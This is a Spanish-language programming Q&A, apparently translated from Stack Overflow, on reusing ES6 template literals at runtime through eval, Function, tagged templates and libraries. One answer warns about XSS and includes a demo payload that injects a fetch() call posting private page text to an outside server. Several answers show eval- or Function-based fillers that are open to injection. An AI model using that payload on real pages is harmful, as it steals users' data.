Búsqueda de sitios web

javascript - ¿Se pueden sustituir las plantillas literales de ES6 en tiempo de ejecución (o reutilizar)?


resumen: ¿Es posible hacer un literal de plantilla reutilizable?

He estado tratando de usar literales de plantilla, pero supongo que simplemente no lo entiendo y ahora me estoy frustrando. Quiero decir, creo que lo entiendo, pero "eso" no debería funcionar así, ni debería ser como debería ser entendido. Debería entenderse de manera diferente.

Todos los ejemplos que veo (incluso las plantillas etiquetadas) requieren que las "sustituciones" se hagan en el momento de la declaración y no en tiempo de ejecución, lo cual me parece completamente inútil para una plantilla. Tal vez esté loco, pero una "plantilla", para mí, es un documento que contiene tokens que se sustituyen cuando lo usas, no cuando lo creas; de lo contrario, es solo un documento (es decir, una cadena). Una plantilla se almacena con los tokens como tokens y esos tokens se evalúan cuando tú... los evalúas.

Todos citan un ejemplo horrible similar a:

var a = 'asd';
return `Worthless ${a}!`

Eso está bien, pero si ya sé a, simplemente return 'Worthless asd' o return 'Worthless ' + a. ¿Cuál es el punto? En serio. Bueno, el punto es la pereza; menos signos más, más legibilidad. Genial. ¡Pero eso no es una plantilla! Al menos en mi humilde opinión (IMHO). ¡Y lo que importa es mi opinión! El problema, IMHO, es que la plantilla se evalúa cuando se declara, así que, si haces, IMHO:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

Dado que expletive no está declarado, produce algo como Mi plantilla indefinida. Genial. En realidad, al menos en Chrome, ni siquiera puedo declarar la plantilla; lanza un error porque expletive no está definido. Lo que necesito es poder hacer la sustitución después de declarar la plantilla:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

Sin embargo, no veo cómo esto es posible, ya que estos realmente no son plantillas. Incluso cuando dices que debería usar etiquetas, no, no funcionan:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

Todo esto me ha llevado a creer que los literales de plantilla están terriblemente mal nombrados y deberían llamarse como realmente son: heredocs. Supongo que la parte de "literal" debería haberme dado una pista (como en, inmutable)?

¿Me estoy perdiendo de algo? ¿Existe una manera (buena) de hacer un literal de plantilla reutilizable?

Te doy, literales de plantilla reutilizables:

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

Y aquí hay una función "ayudante" ingenua...

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...para hacerlo "mejor".

Estoy inclinado a llamarlos guterales de plantilla debido al área de la cual producen sensaciones retorcidas.

Respuesta #1

Para que estos literales funcionen como otros motores de plantillas, necesita haber una forma intermedia.

La mejor manera de hacer esto es usar el constructor Function.

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

Al igual que con otros motores de plantillas, puedes obtener esa cadena de otros lugares como un archivo.

Algunos problemas pueden aparecer al usar este método (por ejemplo, sería más difícil añadir etiquetas de plantilla). Tampoco se puede tener lógica de JavaScript en línea, debido a la interpolación tardía. Esto también se puede solucionar con algo de reflexión.

Respuesta #2

Usa literales de plantilla etiquetados:

Puedes poner una cadena de plantilla en una función:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

Puedes hacer lo mismo con una plantilla etiquetada:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

La idea es permitir que el analizador de plantillas separe las cadenas constantes de los "espacios" variables, y luego devuelva una función que lo vuelva a ensamblar todo en función de un nuevo conjunto de valores cada vez.

Respuesta #3

Probablemente la manera más limpia de hacer esto sea con funciones flecha (porque en este punto, ya estamos usando ES6)

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...Y para literales de plantilla etiquetados:

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

Esto también evita el uso de eval() o Function(), que pueden causar problemas con los compiladores y provocar una gran ralentización.

Respuesta #4

Seguro y dinámico

Sí, puedes hacerlo analizando tu cadena con una plantilla como JS mediante Function (o eval), pero esto no se recomienda y permite ataques XSS

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example malicious string which will 'hack' fillTemplate function
  var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var templateData = {Id:1234, User:22};
  var result = fillTemplate(evilTemplate, templateData);

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}
#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...

Some bad user/hacker can then prepare malicious template 
with JS code... and when other logged users "see" that malicious 
template (e.g. by "Click me!" in this example), 
then it can read some information from their current 
page with private content and send it to external server. 

Or in worst case, that malicious template can send some 
authorized "action" request to the backend... 
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

En su lugar, puedes insertar de manera segura los campos del objeto obj en la plantilla str de manera dinámica como sigue

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

Para leer campos de objetos anidados (aquí) prueba

let deep = (o,k) => k.split('.').reduce((a,c,i) => {
    let m=c.match(/(.*?)\[(\d*)\]/);
    if(m && a!=null && a[m[1]]!=null) return a[m[1]][+m[2]];
    return a==null ? a: a[c];
},o);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> deep(obj,g));

// --- test ---

// parameters in object
let t1 = 'My name is ${users[0].name}, I am ${users[0].info.age}.';
let r1 = inject(t1, {users: [{name: 'JOHN', info: {age: 23}}]} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "My name is ${0} - ${0} ${1.data[0].surname}."
let r2 = inject(t2, ['John', {data:[{surname: 'Smith'}]}] );
console.log("ARRAY :", r2);

Respuesta #5

En 2021 llegó la solución más sencilla hasta ahora.

const tl = $ =>`This ${$.val}`;
tl({val: 'code'});

Es casi lo mismo que simplemente escribir y reutilizar un literal de plantilla (lo que el OP quería).

Puedes ajustar cosas desde aquí...

Respuesta #6

¿Me estoy perdiendo de algo? ¿Hay una manera [buena] de crear un literal de plantilla reutilizable?

En JavaScript, existe una característica llamada funciones de etiqueta, o plantillas etiquetadas, que te permite llamar a una función con `` en lugar de ().

Plantillas etiquetadas:

Una forma más avanzada de las plantillas literales son las plantillas etiquetadas.

Las etiquetas permiten analizar literales de plantilla con una función. El primer argumento de una función de etiqueta contiene un arreglo de valores de cadena. Los argumentos restantes están relacionados con las expresiones.

La función de etiqueta puede entonces realizar las operaciones que desees sobre estos argumentos y devolver la cadena manipulada. (Alternativamente, puede devolver algo completamente diferente, como se describe en uno de los siguientes ejemplos.)

El nombre de la función utilizada para la etiqueta puede ser lo que quieras.

Tengo casi una línea de código para ello:

function defer([first, ...rest]) {
  return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}

Eso es todo. Cuando quiero reutilizar una plantilla y diferir la resolución de las sustituciones, simplemente hago:

function defer([first, ...rest]) {
  return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}

t = defer`My template is: ${null} and ${null}`;
console.log(t('simple', 'reusable'));
// 'My template is: simple and reusable'
console.log(t('amazing', '5-years late'));
// 'My template is: amazing and 5-years late'
console.log(t(null));
// 'My template is: null and undefined'
console.log(defer`Choose: ${'ignore'} / ${undefined}`(true, false));
// 'Choose: true / false'

Aplicar esta etiqueta devuelve un function (en lugar de un string) que ignora cualquier parámetro pasado al literal. Luego, se puede llamar con nuevos parámetros más adelante. Si un parámetro no tiene un reemplazo correspondiente, se convierte en undefined.


Respuesta extendida

Este código simple es funcional, pero si necesitas un comportamiento más elaborado, esa misma lógica se puede aplicar y hay posibilidades infinitas. Podrías:

  1. Haz uso de los parámetros originales:

Podrías almacenar los valores originales pasados al literal en la construcción y usarlos de maneras creativas al aplicar la plantilla. Podrían convertirse en banderas, validadores de tipo, funciones, etc. Este es un ejemplo que los usa como valores predeterminados:

function deferWithDefaults([first, ...rest], ...defaults) {
  return (...values) => rest.reduce((acc, curr, i) => {
    return acc + (i < values.length ? values[i] : defaults[i]) + curr;
  }, first);
}

t = deferWithDefaults`My template is: ${'extendable'} and ${'flexible'}`;
console.log(t('awesome'));
// 'My template is: awesome and flexible' 
  1. Escribe una fábrica de plantillas:

Hazlo envolviendo esta lógica en una función que espere, como argumento, una función personalizada que pueda aplicarse en la reducción (al unir las piezas del literal de plantilla) y devuelva una nueva plantilla con comportamiento personalizado.

Entonces podrías, por ejemplo, escribir plantillas que automáticamente escapen o saneen parámetros al escribir HTML, CSS, SQL, Bash incrustados...

Con esta plantilla SQL ingenua a continuación, podríamos construir consultas como esta (por favor, no la use en producción, se muestra aquí solo como una prueba de concepto):

const createTemplate = fn => function (strings, ...defaults) {
  const [first, ...rest] = strings;
  return (...values) => rest.reduce((acc, curr, i) => {
    return acc + fn(values[i], defaults[i]) + curr;
  }, first);
};

function sqlSanitize(token, tag) {
  // this is a gross simplification, don't use in production.
  const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/
                    .test(name) ? `"${name.replace(/"/g, '""')}"` : name);
  const quoteValue = value => (typeof value == 'string' ?
                               `'${value.replace(/'/g, "''")}'` : value);
  switch (tag) {
    case 'table':
      return quoteName(token);
    case 'columns':
      return token.map(quoteName);
    case 'row':
      return token.map(quoteValue);
    default:
      return token;
  }
}

const sql = createTemplate(sqlSanitize);
q  = sql`INSERT INTO ${'table'} (${'columns'})
... VALUES (${'row'});`
console.log(q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'Connel", true]));
// `INSERT INTO user (id,"user name","is""Staff""?")
// VALUES (1,'O''Connel',true);`
  1. Aceptar parámetros nombrados para sustitución: Un ejercicio no tan difícil, basado en lo que ya se dio. Hay una implementación en esta otra respuesta.

  2. Haz que el objeto devuelto se comporte como un 'string': Bueno, esto es controvertido, pero podría llevar a resultados interesantes. Mostrado en esta otra respuesta.

  3. Resolver parámetros dentro del espacio de nombres global en el sitio de llamada:

Te doy plantillas literales reutilizables:

Bueno, esto es lo que OP mostró como su apéndice, usando el comando evil eval. Esto se podría hacer sin eval, simplemente buscando el nombre de la variable pasada en el objeto global (o window). No mostraré cómo hacerlo porque no me gusta. Las closures son la elección correcta.

Respuesta #7

respuesta 2019:

Nota: La biblioteca originalmente esperaba que los usuarios sanitizaran cadenas para evitar XSS. La versión 2 de la biblioteca ya no requiere que las cadenas de los usuarios sean sanitizadas (lo cual los desarrolladores web deberían hacer de todos modos) ya que evita eval por completo.

El módulo es6-dynamic-template en npm hace esto.

const fillTemplate = require('es6-dynamic-template');

A diferencia de las respuestas actuales:

  • Utiliza cadenas de plantilla ES6, no un formato similar. La actualización versión 2 utiliza un formato similar, en lugar de cadenas de plantilla ES6, para evitar que los usuarios utilicen cadenas de entrada sin sanitizar.
  • No necesita this en la cadena de plantilla
  • Puedes especificar la cadena de plantilla y las variables en una sola función
  • Es un módulo mantenido y actualizable, en lugar de un copypaste de StackOverflow

El uso es simple. ¡Usa comillas simples ya que la cadena de plantilla se resolverá más tarde!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

Respuesta #8

Simplificando la respuesta proporcionada por @metamorphasi;

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);

Respuesta #9

La respuesta corta es simplemente usar _.template en lodash

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'

Artículos relacionados